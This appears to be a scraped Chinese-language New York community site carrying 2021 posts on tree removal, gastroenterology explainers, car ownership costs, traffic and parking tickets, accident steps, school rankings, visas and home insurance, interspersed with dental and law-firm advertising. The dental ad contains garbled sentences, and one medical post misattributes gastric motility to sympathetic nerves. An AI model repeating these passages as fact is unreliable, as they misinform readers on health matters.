对于私人财产的树桩,业主应监督并负担所有费用。业主可以书面要求支付服务费,并可以要求城市拆除或监督拆除树桩。

谁可以在纽约市申请砍树许可证?

树木清除表格适用于所有居民,并且可以通过访问公园和娱乐部的网站来访问该表格。对于那些为什么要移除树木的理由令人满意的人,将获得许可。

纽约市下面情况下可以清除公共树木

• 如果树快死了或已经死了。

• 如果大树枝或树枝从树上掉下来。

• 当树木倾斜,连根拔起或倒下时。

• 如果树的树干被劈开了。

• 当树木状况不佳时。

2021-05-02 / by / in , ,
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New York Dental.studio

纽约最好的牙科诊所

电话:(212)588-1809

地址:30 East 60th street,suite 2402 New York,NY 1002

网址:https://www.nydentalstudio.com/chinese


纽约牙科诊所是曼哈顿60街核心地段的顶尖美容修复牙科诊所,由经验丰富,技术一流的黄医生团队主理。 牙齿矫正正等。由于他导致且出色的突出西方和局部轮廓轮廓的不同,牙齿美容和矫正技术在纽约数一数二,开始20一直被不同族裔的患者的喜爱。

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隐形牙套(俗称隐适美)矫正装置不像一般矫正器那样影响美观。矫正牙齿不只是看上去外观上变美,增加自信,更有助于保持长期口腔的健康—改变咀嚼功能,利用牙齿和牙周组织的健康,更有助于于远离牙周炎。

资深黄医生牙齿美容矫正一流

黄医生出生于一个“化学世家”,毕业于凯斯西储大学生物化学专业,在此之后获得心血管立大学牙科学院牙科学位。曼哈顿山西奈西奈山医疗中心实习。黄医生精通这类牙科手术,补牙,根管治疗,牙冠,拔牙,植牙的技术都深得患者信赖。这样的经验丰富的专家绝对是妳不能错过的。

在美国已生活近四十年的他,仍通过与凤凰医疗集团两年国际咨询合作,将中文练就可以与病人进行流利的交流的程度,永远是可行还是牙科专业用语,可以用你最医生的诚为您的牙齿进行全方位的专业护理,助您牙齿健康无忧!

 

环境舒适洁净服务专业认真

纽约牙科诊所向来坚持不在服务上节省成本的原则,能买到的市面最先进的设备我们都下血本买来,就是为了能够使患者体验最好的最精确的服务,从而使数码扫描仪,电动先进的牙齿护理器材,让你云淡风轻毫无感觉的就做完了扫描,补牙,根管治疗,牙冠…

来纽约牙科诊所,你完全不会有看牙之前的各种担心顾虑,因为见过黄医生的患者都会毫不犹豫的推荐给他们的朋友,他们觉得这里完全不像一个诊所,医生技术一流,环境舒适洁净,工作人员专业态度好,和患者之间的关系像朋友,让人感觉很放松安心。

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欢迎光临大家找对专家及时解决牙齿问题,笑口常开!

 

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2021-05-02 / by / in ,
什么是肠胃道基质瘤/间质瘤?纽约肠胃科专家荆彤医生为您讲解

肠胃道基质瘤并不多见。在肠胃道的内壁(接触食物的这一边)和外壁之间有一个肌肉层,肠胃道的收缩和舒张就是靠这些肌肉控制的。这些肌肉是平滑肌,产生的瘤子就是基质瘤(也叫间质瘤)。

大家可能都听说过子宫肌瘤,就是子宫壁上的肌肉产生的肿瘤。这种瘤子长在子宫上叫子宫肌瘤,长在消化道上叫肠胃道间质瘤。这种瘤子早期不容易被发现,病人也没有感觉,做胃镜也看不到。只有长到比较大了,突出出来了,才能被发现到。

这种肿瘤的危害是,如果长得比较大的时候,会压迫从那里经过的血管,造成大出血。另外,这种瘤子长的时间久了能够恶变,恶变之后还能转移。所以一旦发现了这种大型间质瘤要尽早把它切除掉。现在肠胃道间质瘤的切除技术已经很成熟了。

一般小的间质瘤(1~2厘米)的不太容易恶变。如果超过5厘米的间质瘤恶变的可能性就比较大了,建议发现后立即切除掉。现在切除肠胃道基质流可以用微创手术来实现。

2021-05-02 / by / in
纽约养车 有3个问题你不能不了解!

文|雨荷

美国是著名的车轮上的国家,纽约是美国人口最多的城市,也是世界最大的城市之一,是对全球的经济、商业、金融、媒体、政治、教育和娱乐具有极大影响力的国际大都会。

据报道,纽约市的一项最新统计显示,养车的费用逐年增加,越来越多的纽约客只好选择不再开车。根据克莱恩商业周刊的这份报告,从2000年至2003年,市民汽车拥有量下降了5%,在有11万华人居住的布碌仑区,有越来越多的开车者不想拥有车子,与美国其他地区相比,纽约的家庭汽车拥有量非常低。仅有45%的家庭拥有汽车。而纽约的曼哈顿作为美国人口密度最大的区,也是美国家庭汽车拥有率最低的区,仅有大约22%的家庭拥有汽车。

纽约是美国人口最多的城市,纽约养车难不难?。

那到底是什么原因 导致纽约人如此不爱买车呢?

一是纽约停车费的问题。与其他地区相比,在纽约拥有一辆汽车的最大障碍是高昂的停车费。如果想在曼哈顿买一套带独立停车位的公寓,那么房费最终价格可能会上涨6万至15万美元。而在大多数有车库的大楼里租一个停车位,租金从100美元到1000美元不等(约为700元-7000元人民币),取决于社区的情况。纽约市停车场管理局的报告显示,纽约市每月的平均停车费约为430美元。除了费用高外,纽约市的停车位严重不足,导致驾驶者在城市里开车找停车位成了一件很痛苦的事情,有钱也没地停的情况极为常见。

在纽约,乱停车的罚款从几十美元到150美元不等。接到罚款单后,司机要在一个星期内将支票寄给纽约市交通部门。司机如果不服气可以向法院提起诉讼,胜诉者可减轻或者免掉处罚。纽约市近年来因为乱停车引发的官司非常多,也有不少司机获得减免。

纽约市街道上随处可见的消火栓旁边是停车的绝对禁区,停车者将会遭受重罚。公共汽车站前当然也不允许其他车辆停靠。此外,纽约市的每条街道都有规划统一的停车标志,标明停车规定,如允许停泊车辆的类型、时间段以及平日和周末可分别停泊什么类型的车辆。牌子上写着,有的地方只允许当地小区居民的车辆停泊,有些地方某些日子不让使用,不仔细看、停错了地方,很可能要被罚款。在一些交通繁忙的商务区,规定就更加细致。

纽约停车费很貴,而且罚款高,不仔细看、停错了地方,很可能要被罚款。

二是保险的问题。纽约汽车保险在很贵。纽约汽车保险费平均为每年1582美元,比美国全国平均水平高出近11%。保险公司会使用地域评级。而在纽约布朗克斯区和布鲁克林区等区域停车,被保险公司判定为比其他地区更容易产生盗窃、交通事故和车损索赔,因此保费也就居高不下。此外,纽约汽车保险费用的计算也和驾驶员的年龄和持有驾照的年份直接“挂钩”,也就是说,越年轻的驾驶员往往面临越贵的保费。

三是纽约交通拥堵的问题。纽约交通拥堵排名世界第三,仅次于洛杉矶和莫斯科。有报告称,在曼哈顿中城,汽车的平均速度是每小时4.7英里,仅仅比走路快一点点。纽约市政府也想过一些手段来控制交通拥堵问题,美国纽约州议会通过的新年度财政预算案中在曼哈顿繁忙路段征收“塞车费”,以改善交通拥堵问题,如果开始征收拥堵费,可以预见的是,这笔费用一旦开始征收,愿意掏钱买车的纽约人会更少。预计纽约“塞车费”在2021年开始,纽约市将成为全美第1个开征收「塞车费」的城市。

纽约市政府计画在在曼哈顿繁忙路段,例如对曼哈顿60街以南(即​​中央公园以南)城区的车辆征收塞车费,但之前川普政府并不愿意批准者项计画,不过现任的拜登政府正在让计画实现当中。

由于养车太难,买车的人越来越少,据纽约多家车行介绍,进入2005年以来,新车的销售量明显不如往年。当然,也有很多在纽约生活的人表示,拥有一辆汽车确实能为生活带来不少便利。 私家车可以使更远的地方购物变得更容易,尤其是在购买大件物品时。更重要的是,可以随时随地离开都市,而不用考虑公共交通时间和换乘问题,这种优势在有小孩子的家庭尤为明显。

2021-05-02 / by / in , , , , , , , ,
什么是锯齿状肠息肉?为什么说它是“隐形杀手” 纽约肠胃科专家荆彤医生为您解答

做肠镜的时候我们经常会发现一些息肉。比较常见的叫腺瘤,腺性息肉。这种息肉最初都是良性的息肉,如果继续发展会有20%演变成肠癌。新发现的一种息肉叫锯齿状息肉,它演变成肠癌的风险就更高。锯齿状息肉的英文名是Serrated adenoma。这种息肉结构上比较特殊,而且在做肠镜时发现,这种息肉容易长在右边(靠近盲肠的一侧)。

锯齿状息肉结构比较扁平,上边很平,根部很宽。在做肠镜检查时不太容易发现,尤其是当清肠清得不干净时,很容易被残留的粪便残渣或液体粪便盖住。所以在我给病人做肠镜检查时,到了右边我会看的更仔细。(右边发现的息肉癌变的可能性更大)

对于发现了锯齿状腺瘤的病人,做肠镜的周期要缩短。一般我会让病人一年后再回来做个肠镜检查看一下。

2021-05-02 / by / in
持美国F1和M1学生签证,7月2日起允许入境 拜登政府恢复中国学生签证处理

对中国留学生来讲,这是一个令人振奋的好消息。从下周二,5月4日起,美国驻华使领馆将恢复对中国学生的签证预约处理。

中国希望赴美留学的学生,可以在课程开始前的120天申请签证。

但是,美国政府自2020年6月1日开始实施的,暂停和限制颁发跟中共发展军事相关的F和J签证。这一限制政策继续有效。

具体的暂停和禁止入境规定包括:那些接受执行或支持中国(中共)“军民融合战略”实体资助,或目前受雇于这些实体,或在这些实体学习或从事研究的中国公民,美国将拒绝他们通过F或J签证进入美国学习或在美国从事研究。

美国国务院表示,现在在中国境内的学生赴美,申请就读于2021年8月1日之后开始的课程,不受相关的旅行限制。如果符合其它的条件,这些学生可被签发签证。

美国国务院还表示,获得有效签证的学生,可以直接从中国飞往美国,无须在第三国停留至少14天后再进入美国。他们将被允许在课程开始前30天进入美国,因此今年最早的入境日期是7月2日。

(责任编辑:无疆行者)

2021-05-01 / by / in , , , , ,
为什么食道癌被称为“沉默的杀手”?听纽约肠胃科专家荆彤医生怎么说

食道癌晚期的死亡率很高,早期又没有症状,因此被成为“沉默的杀手”。

有些胃食道逆流的患者,每当他出现烧心反酸的症状,服用抗酸药后症状会缓解,因此人们都不太把这当回事(事实上在发生胃食道逆流的时候,胃内的酸性物质进入食道,对食道粘膜造成损伤,时间久了,食道内就容易发生病变,甚至形成肿瘤,这一切都是在不知不觉中发生的)。

因为食道这个管腔是有一定富余度的,稍微狭窄一些是感觉不到的。当你觉得稍微有点堵的时候,只要喝点水,或者把食物嚼得细一点,或吃一点软的,食物还是能够通过食道的。病人一旦发生进食困难的时候,肿瘤已经长得很大了,食道癌已经进入晚期。

因为食道在胸腔里,跟肺、气管紧挨着,周围有很多淋巴结。食道癌很容易发生转移,一旦转移到淋巴结,就不能再进行手术了。

建议经常烧心、反酸的朋友尽早去看肠胃科医生,把胃食道逆流的问题控制住,预防食道癌的发生。

2021-05-01 / by / in
腹胀?打嗝?你可能得了胃轻瘫!听听纽约肠胃科专家荆彤医生怎么说

可能很多人没有听说过“胃轻瘫”这个词。胃轻瘫的症状是:吃东西容易腹胀,吃一点就觉得饱了,好像胃里的食物不往下走,有的甚至返出来;经常打嗝,打出的嗝很酸很臭。

我们平常给病人做胃镜检查时,要求病人空腹8个小时后再来做胃镜。为什么要空腹8个小时呢?因为经过长期的实践,人们发现经过8个小时的禁食,胃内基本上能达到排空的状态,不管之前吃的是哪种食物。但是胃轻瘫的病人经过8小时空腹后来做胃镜,发现胃里边还有很多食物。这种情况就叫做胃轻瘫。

大家知道,胃就像一个搅拌器。胃内的食物,经过胃的收缩搅拌,变成食糜进入小肠进行吸收。正常人的胃搅拌能力特别强,而胃轻瘫的患者胃的搅拌能力变弱了。这就造成患者吃一点东西就有饱胀感,因为胃里的东西不往下走了。

造成胃轻瘫的原因很多。比较常见的是有糖尿病病史的人易患胃轻瘫。支配胃蠕动的是一些交感神经。糖尿病的病人如果长期血糖控制不好就会对交感神经造成损伤。交感神经的损伤会引起胃的蠕动减少。所以有糖尿病的朋友一定要注意按时吃药,把血糖控制好。

还有一些肿瘤病人也会有胃轻瘫的问题。要根据不同的原因把胃的蠕动性调节好,才能让食物顺利的得到消化。

2021-05-01 / by / in
这些交通罚单会让你的汽车保费大涨,在纽约开车,这些驾驶习惯要避免
文|无疆行者

和任何一个公司一样,汽车保险公司都想要努力保持盈利。所以他们会查看保户的驾驶记录,使用不同的组合算法 (Rating Factors) 来评估投保人的风险高低,为他们认为较高风险的人设置较高的费率。根据不同的情况,有的保险公司甚至会拒绝受理一些人的保单。

所以发生越多起车祸或是拿到较多的交通罚单就很可能会让你的汽车保费大涨。

如果你想维持较低的保费,就请您保持良好的驾驶记录,尽量避免拿到以下这些罚单。

驾驶中打电话

在开车的时候使用手机,可能会被扣5点,让你的年度保险金额提高 19%,相当于平均约 $288。三年就会涨了 $864 左右。

超速和stop sign

如果你开车超速被拍到,超速1-10迈扣3点,11-20迈扣4点,21-30迈扣6点,31-40迈扣8点,

违反stop sign可能会被扣3点

超速罚单本身就不便宜,而且超速罚单可能会让你的年度保险上涨约 $341,也就是三年就要多涨约 $1,000。

在一些情况下,一张超速罚单将可能导致您的驾照被停牌(Suspension)或撤销(Revocation)。

酒驾或是药物影响下驾驶

酒驾或是吸毒嗑药之后驾驶,法官会根据不同程度来处罚。保险金额可能会上涨近 74%,或是一年 $1,086 左右。

在纽约,酒后驾驶的惩罚是非常严重的。包括终身的刑事记录,驾照吊销,高昂的罚款,甚至入狱。

酒驾开出的粉单属于刑事罚单,基本是不能直接寄张支票交罚款的。都需要本人或律师代替出庭。

车祸责任方

如果你在一场车祸是有责任的那一方,你的汽车保险可能会上涨 42%,也就是一年约 $617,三年约 $1,800。

没系安全带

开车没系安全带的罚金不是最高的,不过每年保费也可能要上涨约 $60,等于三年约 $173。

闯红灯

如果闯红灯被照相拍到,将会收到罚单,可能会被扣3点,同时保险可能会上涨 22%,也就是一年约 $330,因此三年就会上涨约 $1,000。

在纽约市普通的黄色罚单法庭罚款基本上是138美金,如果同种性质的违规再犯,罚款就更高。除此以外,纽约的交通局还有一项规定,一旦累计点数达到6个点,交通局还要强制增收300美金责任税,多一个点多75美金。

拿到罚单后应该怎么办?

拿到交通罚单后,一定不能置之不理。法庭会认为你是藐视法庭,会下通缉令逮捕您。如果您是在开车时被警察逮住了,那您就会直接被关起来。

如果你认罚则要在规定时间内交罚款,并到交通学校上课消除点数。这样保费就不会连续上涨三年了。减点课不保护或取消因为酒后、吸毒及十八个月内的三次超速违规。违规减点课每十八个月只可减一次点。

如果不服处罚,有合理的理由可进行书面抗辩或上庭抗辩并按抗辩结果处理罚单。

上庭的话,法庭一般不会提供翻译,如果有需要的话要自己带翻译,没有执照也没有关系,自己的小孩或朋友英文好就行。

本文章的内容不能被理解为是在提供法律专业意见。

请咨询纽约资深交通律师:

纽约车祸律师建议: 牢记车祸处理八要点 (718-751-5002, 646-801-8829)

2021-05-01 / by / in , , , , ,
2021纽约最好高中Top10 在全美国排名

纽约州有1,218所高中,纽约最好的高中是哪一家?《美国新闻与世界报导》(US News & World Report)近日公布了2021年全美24,000所公立高中的排名。今年,纽约州排名第一的依然是汤森哈里斯高中(Townsend Harris High School)。

位于法拉盛的汤森哈里斯高中全美排名12,这所学校毕业率达100%,大学准备分数为97.4。

纽约地区排名前10的高中

  1. 汤森哈里斯高中 Townsend Harris High School
  2. 布鲁克林科技高中 Brooklyn Technical High School
  3. 纽约城市学院数理工程高中 High School Math Science and Engineering
  4. 皇后区约克学院科学高中 Queens High School for the Sciences at York College
  5. 布朗士科学高中 Bronx High School of Science
  6. 史坦顿岛技术高中 Staten Island Technical High School
  7. 史岱文森高中 Stuyvesant High School
  8. 美国研究高中 High School of American Studies at Lehman College
  9. 布鲁克林拉丁高中 Brooklyn Latin School
  10. 亚洲研究双语高中 High School for Dual Language and Asian Studies

如果想了解这些学校在全美排名情况,学校所处地区,以上高中的毕业率和大学入学准备分数等详细信息,可以参考以下学校详情。

排名分析

学校介绍

汤森哈里斯高中

汤森哈里斯高中Townsend Harris High School,是一所位于法拉盛的公立高中。在2021年“美国新闻”全美公立高中排名为12,纽约州公立高中排名第1。汤森哈里斯中学一直被列为美国百强高中之列。

在汤森哈里斯高中,学生有机会参加Advanced Placement课程和考试,该校的AP参与率为100%。学校的科学系被英特尔评为全国最佳的高中课程。目前学生注册人数为1,183名。

《美国新闻》与全球研究机构RTI合作,对全美高中的排名会考虑学校的多项因素并进行综合评估。比如,大学准备程度指标(指12年级学生至少要在一项AP或IB考试中获得合格分数),数学和阅读能力,数学和阅读表现,大学课程范围和毕业率等。此次高中排名数据来源于2018-2019学年,因此不受Covid-19疫情影响。

Townsend Harris High School 汤森哈里斯高中 718-575-5580

 

纽约城市学院数理工程高中

纽约城市学院数理工程高中High School Math Science and Engineering,位于纽约城市学院校园内。学校成立于2002年,重点为工程和设计,学校注册学生人数为490名,是一所小型学校。学校实施小班化教学,每班人数不超过24人。

作为一所专业高中,学校除了严格的数学,科学和人文核心课程外,所有学生到11年级都必须参加由Project Lead the Way项目资助的至少三门工程核心课程。在2021年“美国新闻”全美公立高中排名为28,纽约州公立高中排名第3。

纽约城市学院数理工程高中212-281-6490

布鲁克林科技高中

布鲁克林科技高中Brooklyn Technical High School,是美国最大的科学、技术、工程和数学专业公立高中。目前注册学生人数达5,934。布鲁克林科技高中被“美国新闻”和“Newsweek”评选为年度“金牌”学校。布鲁克林科技高中以现代技术为核心,营造吸引学生的科技环境,学校设有达到大学要求的课堂和实验室。

“美国新闻”公立高中排名中,布鲁克林科技高中为纽约州公立高中排名第2,全美公立高中排名12。

Brooklyn Technical High School布鲁克林科技高中 718-804-6400

 

皇后区约克学院科学高中 718-657-3181

布朗士科学高中Bronx High School of Science 718-817-7700

 

史坦顿岛技术高中718-667-3222

史岱文森高中 Stuyvesant High School 212-312-4800

美国研究高中High School of American Studies at Lehman College718-329-2144

Brooklyn Latin School布鲁克林拉丁高中 718-366-0154

纽约亚洲研究双语高中212-475-4097

 

 

 

2021-05-01 / by / in ,
美国纽约停车罚单最多的十大地点 如何避免停车罚单

文|雨荷

纽约停车罚单几乎是人人都会遇到的事情,RentHop的员工已经从NYC Open Data收集了数据,在2015年,纽约市一共开了超过1000万的停车罚单。如果您不想收到罚单,那就认清10个最危险地点。以及避免在纽约获得罚单的有效方法。

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男子开车 示意图。

以下是纽约市罚单最多的十大地点:

1.史泰登岛购物中心(2655 Richmond Ave, Staten Island – Staten Island Mall)

地址:史泰登岛里士满大街2655号

罚单:4,668张

2. BellTell Lofts的MetroTech Center(365 Bridge St, Brooklyn- MetroTech Center, BellTell Lofts)

地址: 布鲁克林布里奇街365号

罚单:3,374张

3.纽约长老会医院员工住房(1330 1st Ave, Manhattan – New York Presbyterian Hospital Employee Housing)

地址: 曼哈顿第一大道1330号

罚单:2866张

4. Packer学院(170 Joralemon St, Brooklyn – The Packer Collegiate Institute)

地址: 布鲁克林Joralemon Street 170号

罚单:2335张

5.曼哈顿水果交易所,切尔西市场(448 W 16th St, Manhattan – Manhattan Fruit Exchange, Chelsea Market)

地址: 曼哈顿西十六街448号

罚单:2,239张

警察开罚单 示意图。

6. 101-99沃伦公寓大楼和购物中心(99 Warren St, Manhattan – 101-99 Warren Condo Complex and Shopping Center)

地址: 曼哈顿沃伦街99号

罚单:2,049张

7. 里士满大学医学中心(355 Bard Ave, Staten Island – Richmond University Medical Center

地址: 史泰登岛巴德大街355号

罚单: 2,022张

8.北岸LIJ医疗集团(95-25 Queens Blvd, Rego Park – North Shore LIJ Medical Group,1901)

地址: 雷哥公园皇后大道95-25号

罚单:1,901张

9. Verizon Wire Center(82-23 Broadway, Queens – Verizon Wire Center)

地址: 皇后区百老汇82-23号

罚单: 1,788张

10.桥干洗店(204 Livingston St, Brooklyn – Bridge Dry Cleaners)

地址:布鲁克林利文斯顿街204号

罚单: 1,759张

纽约州法律要求所有人在签发日期后30天内应对违章停车和违反红灯的行为。如果您不通过这30天,则可能会产生额外的罚款、利息等。如果您不同意该票证,则可以提出异议,也可以选择对该决定提出上诉。

罚单 示意图。

这些是避免在纽约获得罚单的有效方法:

• 记住您的时间限制,永远不要超时。

• 将仪表收据正面朝上放在仪表板上。

• 当同一区域中存在多个停车标志时,请听从限制性最强的停车标志的建议。

• 保持您的注册和保险最新。

• 将汽车停在距离消防栓至少15英尺的地方。

• 了解不停车,不站立和不停车标志之间的区别。

• 切勿将车辆停在人行横道或指定自行车道上。

当您获得罚单时,请记住,参加交通学校是减少付款并表明您是安全驾驶员的好方法。

因此,如果您想了解更多有关减少机票付款和罚款的信息,请考虑从Myimprov.com参加防御性驾驶课程。

小编为您推荐专业律师团队如下:

纽约罰單中心(纽约汽车罚单) 347-348-5295

誠信交通罰單中心347-379-6118

2021-04-30 / by / in , , , , , ,
在纽约发生车祸该怎办?纽约交通事故正确处理流程 车祸律师教你安心

文|雨荷

车祸是一个令人震惊的事件,纽约市每天都会发生车祸。根据纽约警察局2019年12月的报告,全市发生了近17,000起机动车事故。这些事故中有很多起涉及受伤或死亡。

遭受车祸后,即使轻度碰撞的事故,各种麻烦都会迎面而来。车祸受害者面临很多困难,可能因为受伤,而导致的工资损失或意外的医疗费用。车祸律师教你怎么保护自己的合法权利,以及纽约交通事故的正确处理流程。

桑德斯与金律师事务所(Sanders&Kim Law)|纽约人身伤害索赔 纽约车祸律师 纽约工伤律师 纽约医疗事故赔偿 意外伤害律师646-808-7375

车祸后的注意事项 

发生车祸后不要惊慌,虽然不知道其后果是什么。首先应照顾好您和事故中的人是当务之急。但是您最好在发生汽车碰撞后,您应该了解哪些事情。

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发生车祸后 示意图。

下面是车祸发生后应该做的事情:

1.停止

首先切勿开车离开事故现场,即使是很小的事故。发生汽车碰撞后,一定要留在现场。纽约州法律规定,驾驶员必须留在事故现场。不要在警察到来之前挪动您的车辆。即使您对现场已经拍了照片也要让警察亲眼看过以后才挪动车辆。

2.保护场景

您可以通过设置照明灯或保持闪光灯的开启来防止进一步的事故。如果天黑了并且灯光不亮,您应在残疾人车道边上等待,应该有灯光以确保您的安全。

3.不要避免与警察交谈

即使在看似很小的事故,也应随时报警,请致电911并报告事故。以便警察检查并记录事故现场所有信息,方便以后采取法律行动。警察的报告包含驾驶员违章行驶有关的所有信息,或与潜在法律案件有关的其他重要信息。

您需要获取警察报告,并获取警察的姓名以及徽章编号,还有警察报告号码。 通常警察录完口供之后会给一个卡片,上面说明了Police Report出来的日期,您会被要求到指定的警察局领取Police Report,这张卡片很重要。如果警察报告有错误,一定要告诉律师,律师会和警方交涉,确保警察报告内容符合事实。保护您的索赔利益不受影响。

4.进行准确的记录

当警察到达时,把保险卡和驾照交给警察,请如实的告诉调查人员发生了什么。如果您不知道某些事实,请告知该人员。不要猜测或推测,更不要故意错误陈述任何事实。如果询问您是否受伤并且不确定,请说不确定。通常,在实际碰撞后数小时内,由汽车事故引起的痛苦和伤害就变得显而易见。

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警察到达 示意图。

5.拍照

拍摄尽可能多的事故视频和照片,造成汽车损坏,打滑痕迹,护栏损坏,树木或其他相关细节。将来会被用作解决出现的任何冲突的证据。如果您身体有明显的外伤,也应该给这些外伤拍照。但是,您绝对不应干涉正在进行调查的警察。如果您无法在事故现场拍照,请在事故发生后尽快拍照。

6.询问信息

如果事故现场有任何证人,肯请他们提供姓名和联系信息以便提供给警察,和进行彻底的调查;向对方车辆的驾驶员询问保险信息,问驾驶员的名字,地址,电话,驾照号码,车牌号码和保险公司名字。如果车上有其他人员,也可以获取他们的详细信息。

7.说话的人要小心

切勿与对方驾驶员的律师,或者对方的保险公司人员说话。也不要和对方保险公司签署文件,后果会很严重,容易对索赔造成灾难性影响。更不要和对方保险公司私了,往往私了只能拿到真实赔偿的1%-5%。让您的律师处理这些对话。您最应该做的就是与对方驾驶员交换保险信息。

8.切勿承认有过错

即使您认自己可能是造成事故的原因,仍然不要承认有过错。您可能不了解其他驾驶员周围的其他疏忽情况。让调查人员和您的交通事故律师,来确定谁是车祸的罪魁祸首。如果您有权获得赔偿或面临任何责任问题,则您的车祸律师可以提供帮助。

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车祸律师 示意图。

发生事故后,尽快就医。常见的车祸伤害类型

1.脑震荡或外伤性脑损伤(TBI)

2.颈部,脊髓或背部受伤

3.骨折

4.神经,肌肉和组织损伤

5.内脏器官损害

6.变形或割伤

7.麻痹

去医院就医一定要留着各种单据,所有细节需要记录在案,需要证明您的治疗方法,造成了暂时或永久性伤害。车祸中造成的伤害可能是严重的,也许会导致终身的痛苦。您需要保留这些证据给保险公司和法院提供。

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医疗救助 示意图。

纽约是一个无过失的保险州

纽约是无过失车祸保险的州,事故受害人将由自己的保险公司承担医疗花费,而无需考虑谁是事故责任方。车祸律师可以帮助您收到您应得的,并保护您的权益。

遭受人身伤害或残疾的事故受害者在纽约州认为是“严重伤害”的程度,您可以向过失驾驶人追索额外的赔偿。如果您的伤害符合,您有权获得超出保险公司根据该州“纯粹的比较过失”规则提供的赔偿之外的其他赔偿。

纽约时效法

事故发生后很明显可以观察到伤害。但是,在某些情况下,车祸中造成的伤害不是立即可见的。纽约州的“时效规约”。对于车祸,这是自事故发生之日起的三年。如果是不法死亡,则纽约的时效法令自该人死亡之日起两年。

并非所有伤害都可以立即看到,有些症状(例如与脑外伤相关的症状)需要时间才能出现。您的病历中包含的有关您的病情和事故周围情况的信息越多越好。这样,如果您的受伤情况确实比您最初想象的要糟,您就需要证据证明您的受伤与车祸直接相关。

推荐车祸律师如下:

https://www.ntdtv.com/gb/2021/08/19/a103193852.html

http://cn.ntdtv.com/b5/2021/08/19/a103193852.html

 

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纽约车祸律师建议: 牢记车祸处理八要点 (718-751-5002, 646-801-8829)

A. Bryan Baer, Esq.律师(404) 835-8072

Amanda South律师(404) 835-8072

凯撒刘瑛律师楼 201-564-0807/纽约律师/美国知名律师事务所

萊特律師樓 (646-886-6258) :紐約醫療誤診及重大意外傷害律師 Jonathan C. Reiter Law Firm PLLC

高术仁律师国际事务所 (646) 632-7060

Fine Olin & Anderman Llp 845-562-0203

余用律师楼(余用律师楼 ALLEN YI, ESQ)

萨克丁&李联合律师楼 718-539-3100

史蒂文律师楼Steven Louros ,ESQ(Tel:212-481-5275 Fax:212-481-3472)

2021-04-28 / by / in , , , , , , , , , ,
美国房屋保险Home Insurance详解 如何降低保费?

文|无疆行者

房屋是您价值最高的资产吗?相信很多朋友的回答是肯定的,毕竟买房子是一笔很大的投资了。但这样重要的固定资产也面临遭受火灾、飓风、盗窃、别人故意毁坏的可能。虽然美国还没有法律规定要求购买「房屋保险 Home Insurance」,但购房人如果需要贷款,银行会要求购买房屋保险。很多人即便现金一次付清房款,也会主动购买房屋保险来保护自己的重要资产、规避风险。

本文行者为大家详细介绍有关美国房屋保险的内容、类型、理赔范围以及降低保费的技巧。

一、通常房屋保险包括的内容

1.受灾后赔偿给屋主或贷款银行的部份。

2.房屋本身/内部装修,包括房屋本身、围墙、车房、车道、泳池等。如果房屋发生火灾,或因大风倒塌,保险公司会赔偿你人工费和物料费,并尽可能修葺为受损前的规格。

3. 私人财物,包含家具、衣物、电器、书藉、收藏、文件等。有些人会忽略这一点,觉得这些东西不值钱。其实如果把所有物件的价值加起来,金额一定会超出你的意料。

4.修复期生活开支:如果房屋因各种原因受损导致生活不便或不能居住,在修复期间,保险公司会承担相应的生活开支,包括短期的酒店居住或租房费用。

5. 屋主意外责任险,保障屋主或来访客人在房屋室内外发生意外时,可提供赔偿。

二、房屋保险政策类型

在美国,常使用的房屋保险政策有以下几类(下面的HO是Home Owner缩写):

HO-1基本险(Basic Coverage)
基本险的保赔范围包括:因火灾、雷击、烟薰、风灾、冰雹、抢劫、偷窃、爆炸、玻璃破碎、飞机、汽车、暴乱、骚动及故意破坏对房屋造成的损坏。
同时也保赔遭受危害过程中人体受伤、损坏他人财产、律师费、医药费、室内个人财产、房屋损坏后的额外住房生活开销。

HO-2扩充险(Broad Coverage)
除了HO-1,加保因电击、冰雪重压、水管冻坏、天空落体、热水器或空调系统断裂烧坏、室内漏水造成的损坏。

HO-3全保险(Special Form)
这是大众最普遍购买的房屋保险类型。除了HO-1和HO-2之外,全保险还加保除了战争、核灾、水灾、地震、地陷以外的几乎所有内容,也保赔客人在室内外发生的意外、路人在室外发生的意外、宠物咬伤人后的赔偿医药费、律师费等。

HO-4房客险(Tenant’s/ Renter’s Policy)
保赔出租房产室内的房客个人财产。
因为当屋主把房子作为出租使用时,一般只会对他自己的财产进行保险(毕竟多保一样东西就多花一点钱),所以租客需要购买一份房客险来保障自己的利益。

HO-6公寓险(Condominium Coverage)
保赔公寓屋主和室内个人财产、客人路人在室内外的事故、火灾、盗窃、漏水的损失。屋主需仔细阅读公寓业主(HOA)章程来决定须构买的保险费额。
很明显公寓的保险范围会比独栋别墅的要少,保费也会相应低一些。

HO-7活动房险(Mobile Home Coverage)
适用于活动房屋主的房屋保险。

HO-8老房险(Older Home Policy)
HO-8的保险范围和HO-1类似,主要是给年代久远的老房保险,由于老房子的市场价要低于重建价格,老房险允许屋主以低于重建价格的市场价来保险。

三、不同房屋选择哪类保险?

房屋保险政策有好多种,那么究竟该买哪一类呢?

独立房(Single Family House)购买HO-3

屋主拥有整栋房子、地基和地块所有权,因此要对这一切负责。
在房产估价报告(Appraisal Report)中的Cost Approach里有一栏「Total Estimate of Cost-New」,是估计重建此房要多少钱。贷款银行要求的保额是贷款额和Total Estimate of Cost-New中较低的那一个。建议根据Total Estimate of Cost-New购买。

连排屋(Townhouse)购买HO-3

Townhouse屋主的所有权与责任权跟Single House相似。若有业主委员会(HOA)则须提供业主委员会的保险信息。

公寓屋(Condo)购买HO-6

通常贷款银行会要求提供HO-6及Master/HOA Insurance。若Condo的Master Insurance除了公共区域外,也包含房屋内部的保险,那就不用再单独购买HO-6了。

四、房屋保险的索赔申报及注意事项

申报损失

美国的房屋保险理赔是需要在一定时间内自己主动申报的,这个期限一般为房屋发生损失的60天之内,需要填写“损失证明”交给保险公司,在损失证明中需要详细地列出各种损失项目及其价值,日后保险公司将会来审核。

注意房屋保险理赔的事项时限

√ 需要在损坏发生的60天之内向保险公司递交损失证明表;
√ 在保险公司发出估价通知后的20天内选好估价员;
√ 如果对保险公司的理赔存在异议,必须在损害发生的12个月内提出诉讼;
√ 空置的建筑物在损失发生时投保时间若未满60天,保险公司将不予以受理。

五、我该怎样降低保费?

1.提高自付额(deductible)
对于每一个房屋保险项目,投保者都可以自己选择合适的自付额,当意外灾害发生时,你先支付自负额,然后保险公司再负责自负额以外到保额的那部分,自负额越高保额自然就会越低。

2.加强抗灾力
比如,换新的电气设备,以减少房屋着火的风险,采取防震措施,以降低震后损失的程度。若你住在飓风多发地区,则安装防雨百叶窗,给屋顶装防雨板,加固地板墙壁等一些抗风防水措施,都有助于减少保费。

3.加强安保
